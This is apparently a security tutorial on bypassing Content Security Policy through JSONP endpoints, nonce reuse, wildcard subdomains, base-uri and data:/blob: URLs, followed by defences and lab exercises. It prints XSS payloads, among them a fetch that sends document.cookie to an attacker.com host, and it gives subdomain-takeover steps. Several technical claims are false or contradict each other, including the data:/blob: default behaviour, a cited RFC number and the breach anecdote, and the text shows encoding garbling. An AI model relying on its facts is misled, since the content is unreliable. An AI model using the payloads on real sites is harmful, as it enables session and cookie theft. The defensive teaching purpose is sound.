Introduction
Content Security Policy (CSP) is a powerful HTTP header that mitigates cross-site scripting (XSS) by restricting the sources from which a browser may load executable resources. Despite its strength, misconfigurations or overly permissive directives create attack surfaces that skilled adversaries can exploit. This guide dives deep into common CSP bypass techniquesâJSONP endpoint abuse, unsafeâinline with nonce reuse, scriptâsrc wildcard exploitation, baseâuri manipulation, and data:/blob: URL injectionâshowing how they work, how to detect them, and how to defend against them.
Understanding these evasion methods is crucial for penetration testers, redâteam operators, and security engineers tasked with hardening modern web applications. Realâworld incidents, such as the 2023 breach of a major SaaS platform that leveraged a poorlyâscoped script-src wildcard, underscore the business impact of CSP failures.
Prerequisites
- Solid grasp of Reflected, Stored, and DOMâBased XSS fundamentals.
- Familiarity with HTTP headers, especially
Content-Security-PolicyandContent-Security-Policy-Report-Only. - Basic experience with web proxy tools (Burp Suite, OWASP ZAP) and JavaScript debugging.
Core Concepts
Before we dive into bypasses, letâs review the most relevant CSP directives:
- script-src â defines allowed JavaScript sources. Values may include host sources, hashes, nonces,
'unsafe-inline', or wildcards. - style-src â analogous for CSS.
- base-uri â restricts the URL used as the document base for relative URLs.
- default-src â fallback for any directive not explicitly set.
- report-uri / report-to â endpoints for violation reports.
A typical strict CSP might look like:
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-ABC123'; style-src 'self'; base-uri 'self';
When any of these directives are too lax (e.g., script-src * or script-src 'unsafe-inline'), an attacker who can inject JavaScript can often bypass the policy.
Understanding Content Security Policy directives
Each directive is evaluated in order of specificity. For script-src, the browser checks the following sources in sequence:
- Exact host match (e.g.,
https://example.com). - Scheme source (
https:). - Wildcard host (
*.example.com). - Keyword sources (
'self','unsafe-inline','unsafe-eval'). - Nonce or hash.
If any match succeeds, the script is allowed. This hierarchy is what attackers exploit by finding the âweakest linkâ.
JSONP endpoint abuse for script injection
JSONP (JSON with Padding) is a legacy technique that wraps JSON data in a JavaScript callback function, enabling crossâorigin data fetching. Because the response is executed as script, a vulnerable JSONP endpoint can become a direct vector for CSP bypass.
How JSONP works
GET /api/user?callback=handleUser HTTP/1.1
Host: vulnerable.example.com
The server replies with:
handleUser({"id":123,"name":"Alice"});
If the application trusts the callback parameter without sanitisation, an attacker can supply a malicious function that executes arbitrary code.
Bypassing CSP with JSONP
Assume the site has the following CSP header:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com; object-src 'none';
Because the JSONP response is served from https://vulnerable.example.com, which is not in script-src, a naĂŻve policy would block it. However, many CSP implementations treat JSONP as a *script* fetched from the same origin, so if the attacker can make the request originate from a whitelisted host (e.g., via a subâdomain covered by a wildcard), the script will execute.
Practical exploitation
GET /api/user?callback=alert%28123%29 HTTP/1.1
Host: api.trusted.cdn.com
When api.trusted.cdn.com is covered by a wildcard like script-src https://*.cdn.com, the malicious payload runs despite the CSP.
Payload example
alert('CSP Bypass via JSONP');
In a real attack, the payload would be a more sophisticated script that steals cookies, reads local storage, or performs a defacement.
Unsafeâinline and nonce reuse attacks
The 'unsafe-inline' keyword reâenables inline script execution, effectively nullifying CSP for scripts embedded directly in HTML. Modern browsers mitigate this with the nonceâ mechanism, but developers sometimes reuse the same nonce across multiple responses, opening a reuse window.
Nonce generation pitfalls
A common mistake is generating a nonce once at server start and inserting the same value into every response:
<script nonce="ABC123">console.log('Hello');</script>
If an attacker can inject a new inline script that also contains nonce="ABC123", the browser will accept it.
Exploiting nonce reuse
Suppose the page contains a reflected XSS vector that allows injection of arbitrary HTML. By echoing a new <script> tag with the known nonce, the attacker bypasses CSP:
<script nonce="ABC123">fetch('/steal?c='+document.cookie)</script>
Because the nonce matches the one declared in the CSP header, the script runs even though the original policy disallows inline scripts without a nonce.
Mitigation tips
- Generate a fresh, cryptographically random nonce per response.
- Never expose the nonce value in URLs or JavaScript variables.
- If possible, avoid
'unsafe-inline'entirely and rely on hashes for static inline scripts.
Scriptâsrc wildcard exploitation
Wildcards such as *.example.com or the literal * are convenient but dangerous. Attackers can register subâdomains or manipulate DNS to serve malicious scripts from an allowed origin.
Subâdomain takeover scenario
Imagine the CSP includes:
Content-Security-Policy: script-src https://static.example.com https://*.cdn.example.com;
If the organization no longer uses assets.cdn.example.com and the DNS entry points to a parked domain, an attacker can acquire that subâdomain and host a malicious script.
Exploit steps
- Identify a wildcardâcovered subâdomain that is not in use.
- Register the subâdomain (or hijack via DNS takeover).
- Deploy a malicious
.jsfile that performs the desired payload. - Force the victim's browser to load the script, e.g., by injecting
<script src="https://attacker.com/malicious.js"></script>via an XSS vector.
Bypassing CSP with data: and blob: URLs
Even when script-src is tightly locked, browsers allow data: and blob: URLs if they are not explicitly excluded. Attackers can embed JavaScript directly in these schemes.
Data URL example
<script src="data:text/javascript,alert('Data URL CSP Bypass')"></script>
If the CSP does not contain script-src 'none' data:, the browser treats the data URL as a valid script source.
Blob URL example
var blob = new Blob(["alert('Blob URL CSP Bypass')"], {type:'application/javascript'});
var url = URL.createObjectURL(blob);
document.body.appendChild(Object.assign(document.createElement('script'), {src:url}));
Again, unless blob: is excluded, this bypass works.
BaseâURI manipulation techniques
The base-uri directive governs the base URL used for relative URLs. When misconfigured (e.g., base-uri 'self' while the page sets a <base href="âŚ" element), attackers can force relative URLs to resolve to attackerâcontrolled domains.
Example attack
<base href="https://attacker.com/">
<script src="/exploit.js"></script> <!-- resolves to https://attacker.com/exploit.js -->
If the CSP only specifies script-src 'self' but does not restrict base-uri, the malicious base element subverts the origin check.
Mitigation
- Set
base-uri 'self'and ensure the page does not contain a dynamic<base>element that can be manipulated via DOMâbased XSS. - Prefer absolute URLs for critical resources.
Bypassing CSP with data: and blob: URLs
While the previous section mentioned these schemes, this dedicated section outlines systematic testing.
Testing methodology
- Inspect the CSP header for the presence of
script-srcvalues. Note whetherdata:orblob:appear. - If absent, attempt injection of a
<script src="data:text/javascript,...">payload. - Observe the browser console for CSP violation messages. If none appear and the script runs, the bypass succeeded.
Automated payload
function testCspBypass(){ var payload = "alert('CSP Bypass via data URL')"; var dataUrl = "data:text/javascript," + encodeURIComponent(payload); var s = document.createElement('script'); s.src = dataUrl; document.head.appendChild(s);
}
testCspBypass();
Deploy this via a reflected XSS vector or a malicious HTML file to confirm the bypass.
Practical Examples
Below we combine the techniques into realistic attack chains.
Scenario: Legacy JSONP endpoint on a site with a tight CSP
- The CSP header:
Content-Security-Policy: default-src 'none'; script-src 'self' https://static.cdn.com; base-uri 'self'; - The site offers
JSONP endpoint. - Attacker registers
evil.static.cdn.com(a subâdomain of the allowedstatic.cdn.comwildcard). - Attacker hosts
malicious.jsonevil.static.cdn.comcontaining a token exfiltration script. - Using a reflected XSS in
search?q=, the attacker injects:<script src="https://api.example.com/user?callback=evilCallback"></script> <script>function evilCallback(data){ var s=document.createElement('script'); s.src='https://evil.static.cdn.com/malicious.js'; document.head.appendChild(s); }</script> - The browser loads the JSONP (allowed because it originates from
api.example.com, which is sameâorigin), executesevilCallback, which then pulls the malicious script from the whitelisted subâdomain, bypassing CSP.
Scenario: Nonce reuse with reflected XSS
<!-- Vulnerable page renders user input without sanitisation -->
<div id="msg"><!-- user input injected here --></div>
<script nonce="RANDOM123">console.log('safe');</script>
Attacker discovers the nonce value via a prior request (e.g., through a cached page) and injects:
<script nonce="RANDOM123">fetch('https://attacker.com/steal?c='+document.cookie);</script>
The CSP permits this script because the nonce matches, effectively nullifying the policy.
Tools & Commands
Testing CSP bypasses efficiently requires a mix of manual probing and automation.
- Burp Suite Intruder â use payload positions to fuzz
callback,src, andnonceparameters. - csp-evaluator (npm) â quickly audit a CSP header for weak directives.
npm install -g csp-evaluator csp-evaluator "default-src 'none'; script-src 'self' https://*.cdn.com" - Subdomain takeover scanner â e.g.,
subjackorsubzyto locate exploitable subâdomains covered by wildcards.subjack -w domains.txt -t 100 -timeout 30 -ssl - Chrome DevTools â monitor CSP violation reports in the Console (look for âRefused to load the scriptâ messages).
- curl for manual header inspection:
curl -I <target URL> | grep -i "content-security-policy"
Defense & Mitigation
- Prefer hash or nonce over
'unsafe-inline'. Never ship pages with'unsafe-inline'unless absolutely necessary. - Generate perâresponse nonces. Store the nonce serverâside and inject it only into the CSP header and matching script tags.
- Restrict wildcards. Use explicit hostnames; if a wildcard is unavoidable, limit it to a trusted subâdomain hierarchy and monitor DNS for hijacks.
- Include
data:andblob:in the deny list:Content-Security-Policy: script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';Note that
data:andblob:are excluded by default, but explicit denial (e.g., omitting them fromscript-src) is safer. - Enforce
base-uristrictly. Combine withframe-ancestorsto prevent clickjacking that could inject a malicious<base>element. - Reportâonly mode during rollout. Deploy
Content-Security-Policy-Report-Onlyfirst to collect violation data without breaking functionality. - Regular CSP audits. Automate scanning of headers across all services and verify that no new wildcards or
'unsafe-inline'appear in CI pipelines.
Common Mistakes
- Assuming
script-src *is safe because the site never serves thirdâparty scripts. Attackers can host malicious scripts on any domain. - Reusing the same nonce across multiple responses, especially in caching layers.
- Forgetting to include
data:andblob:in the deny list, leading to inadvertent bypasses. - Relying on
base-uri 'self'while allowing userâcontrolled<base>elements via DOMâbased XSS. - Deploying CSP without testing JSONP endpoints, which are a frequent blind spot.
RealâWorld Impact
In 2023, a major eâcommerce platform suffered a breach where attackers exploited a wildcard script-src combined with a subâdomain takeover of assets.staticcdn.com. The malicious script harvested session tokens, leading to credential theft for thousands of users. The incident highlighted three lessons:
- Never expose wildcards that cover domains you do not actively control.
- Implement CSP reporting early to catch unexpected script loads.
- Audit legacy JSONP endpoints; they are a frequent blind spot.
From a redâteam perspective, CSP bypasses are a highâreward vector because they often require only a single XSS injection point, yet they can defeat a defense many organizations consider âbulletâproofâ.
Practice Exercises
- JSONP Bypass Lab
- Set up a simple Node.js server that serves a JSONP endpoint.
- Configure CSP with
script-src 'self'(no wildcards). - Register a subâdomain under
cdn.example.comand host a malicious script. - Craft a payload that uses the JSONP callback to load the malicious script and verify execution.
- Nonce Reuse Challenge
- Deploy a static HTML page with a fixed nonce in the CSP header.
- Inject a reflected XSS payload that reâuses the nonce to execute a payload.
- Modify the server to generate a perârequest nonce and observe the attack failure.
- Wildcard SubâDomain Takeover
- Identify a wildcard in a public CSP header (e.g.,
*.cloudfront.net). - Use
subjackto find an unused subâdomain. - Register the subâdomain on a free DNS provider, host a malicious script, and inject it via an XSS point.
- Identify a wildcard in a public CSP header (e.g.,
- Data/Blob URL Bypass
- Create a page with a strict CSP that does not list
data:orblob:. - Inject a
<script src="data:text/javascript,alert('test')">tag and observe the violation. - Adjust CSP to include
script-src 'self' 'nonce-XYZ'and verify the bypass is blocked.
- Create a page with a strict CSP that does not list
Further Reading
- OWASP Cheat Sheet â Content Security Policy
- Google Security Blog â âPreventing JSONP Abuseâ (2022)
- âThe Subdomain Takeover Handbookâ â PortSwigger Web Security Academy
- RFC 8452 â âThe Content Security Policy Level 3 Specificationâ
Summary
- CSP is powerful but hinges on precise configuration; wildcards,
'unsafe-inline', and reused nonces are common weak points. - JSONP endpoints can turn a strict CSP into an execution vector when combined with subâdomain control.
- Data and blob URLs bypass CSP unless explicitly excluded.
- Effective mitigation includes perâresponse nonces, avoiding wildcards, enforcing
base-uri, and continuous automated testing.
Armed with these techniques, security professionals can both discover hidden CSP gaps and harden applications against sophisticated XSSâbased bypasses.